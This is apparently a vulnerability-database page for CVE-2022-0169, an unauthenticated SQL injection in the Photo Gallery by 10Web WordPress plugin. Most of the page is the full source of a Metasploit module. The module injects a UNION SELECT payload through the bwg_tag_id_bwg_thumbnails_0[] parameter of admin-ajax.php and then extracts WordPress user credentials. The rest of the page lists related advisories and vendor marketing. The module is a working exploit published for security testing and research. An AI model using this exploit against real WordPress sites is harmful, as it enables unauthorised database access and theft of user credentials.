Lucene search
+L

WordPress Photo Gallery Plugin SQL Injection (CVE-2022-0169)

🗓️ 14 Mar 2022 00:00:00Reported by Krzysztof Zając, Valentin Lobstein, X3RX3SType 
metasploit
 metasploit
🔗 www.rapid7.com👁 516 Views

CVE-2022-0169: Unauthenticated SQL injection in admin-ajax.php for Photo Gallery by 10Web plugin ≤1.6.0.

Related
Code
ReporterTitlePublishedViews
Family
githubexploit
GithubExploit
Exploit for SQL Injection in 10Web Photo_Gallery
9 Jul 202508:02
–githubexploit
attackerkb
attackerkb
CVE-2022-0169
14 Mar 202215:15
–attackerkb
bdu_fstec
BDU FSTEC
WordPress admin-ajax.php SQL Injection
28 Oct 202300:00
–bdu_fstec
circl
Circl
CVE-2022-0169
9 Jul 202522:28
–circl
cnnvd
CNNVD
WordPress plugin SQL注入漏洞
14 Mar 202200:00
–cnnvd
cnvd
CNVD
WordPress Photo Gallery by 10Web plugin SQL注入漏洞
16 Mar 202200:00
–cnvd
checkpoint_advisories
Check Point Advisories
WordPress Photo Gallery Plugin SQL Injection (CVE-2022-0169)
20 Oct 202200:00
–checkpoint_advisories
cve
CVE
CVE-2022-0169
14 Mar 202214:41
–cve
cvelist
Cvelist
CVE-2022-0169 Photo Gallery by 10Web < 1.6.0 - Unauthenticated SQL Injection
14 Mar 202214:41
–cvelist
kitploit
Kitploit
CVE-2022-0169
19 Oct 202608:30
–kitploit
Rows per page
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HTTP::Wordpress
  include Msf::Exploit::Remote::HTTP::Wordpress::SQLi
  prepend Msf::Exploit::Remote::AutoCheck

  GET_SQLI_OBJECT_FAILED_ERROR_MSG = 'Unable to successfully retrieve an SQLi object'.freeze

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'WordPress Photo Gallery Plugin SQL Injection (CVE-2022-0169)',
        'Description' => %q{
          The Photo Gallery by 10Web WordPress plugin <= 1.6.0 is vulnerable to
          unauthenticated SQL injection via the 'bwg_tag_id_bwg_thumbnails_0[]'
          parameter in admin-ajax.php (action=bwg_frontend_data).
        },
        'Author' => [
          'Krzysztof Zając',    # Discovery
          'Valentin Lobstein',  # Metasploit module
          'X3RX3S'              # Help
        ],
        'License' => MSF_LICENSE,
        'References' => [
          ['CVE', '2022-0169'],
          ['WPVDB', '0b4d870f-eab8-4544-91f8-9c5f0538709c'],
          ['URL', 'https://github.com/X3RX3SSec/CVE-2022-0169']
        ],
        'DefaultOptions' => {
          'VERBOSE' => true,
          'COUNT' => 5
        },
        'DisclosureDate' => '2022-03-14',
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'SideEffects' => [IOC_IN_LOGS],
          'Reliability' => []
        }
      )
    )

    register_options([
      OptString.new('TARGETURI', [true, 'Base path to WordPress', '/']),
      Opt::RPORT(80)
    ])
  end

  def get_sqli_object
    create_sqli(dbms: MySQLi::Common, opts: { hex_encode_strings: true }) do |payload|
      expression = payload.to_s.strip.gsub(/\s+/, ' ')
      columns = Array.new(23) { |i| i == 7 ? "(#{expression})" : rand(1000..9999) }
      injected = ")\" union select #{columns.join(',')} -- -"

      res = send_request_cgi(
        'method' => 'GET',
        'uri' => normalize_uri(datastore['TARGETURI'], 'wp-admin', 'admin-ajax.php'),
        'vars_get' => {
          'action' => 'bwg_frontend_data',
          'shortcode_id' => '1',
          'bwg_tag_id_bwg_thumbnails_0[]' => injected
        }
      )
      next GET_SQLI_OBJECT_FAILED_ERROR_MSG unless res&.code == 200

      node = res.get_html_document.at_css('div.bwg-title2')
      result = node&.text.to_s.strip
      next GET_SQLI_OBJECT_FAILED_ERROR_MSG if result.empty?

      result
    end
  end

  def check
    @sqli = get_sqli_object
    return Exploit::CheckCode::Unknown(GET_SQLI_OBJECT_FAILED_ERROR_MSG) if @sqli == GET_SQLI_OBJECT_FAILED_ERROR_MSG

    @sqli.test_vulnerable ? Exploit::CheckCode::Vulnerable('SQL injection confirmed') : Exploit::CheckCode::Safe('SQL injection test did not succeed')
  end

  def run
    @sqli ||= get_sqli_object
    fail_with(Failure::UnexpectedReply, GET_SQLI_OBJECT_FAILED_ERROR_MSG) if @sqli == GET_SQLI_OBJECT_FAILED_ERROR_MSG

    wordpress_sqli_initialize(@sqli)
    wordpress_sqli_get_users_credentials(datastore['COUNT'])
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

14 Mar 2022 00:00Current
8.8High risk
Vulners AI Score8.8
CVSS 27.5
CVSS 3.19.8
EPSS0.74615
516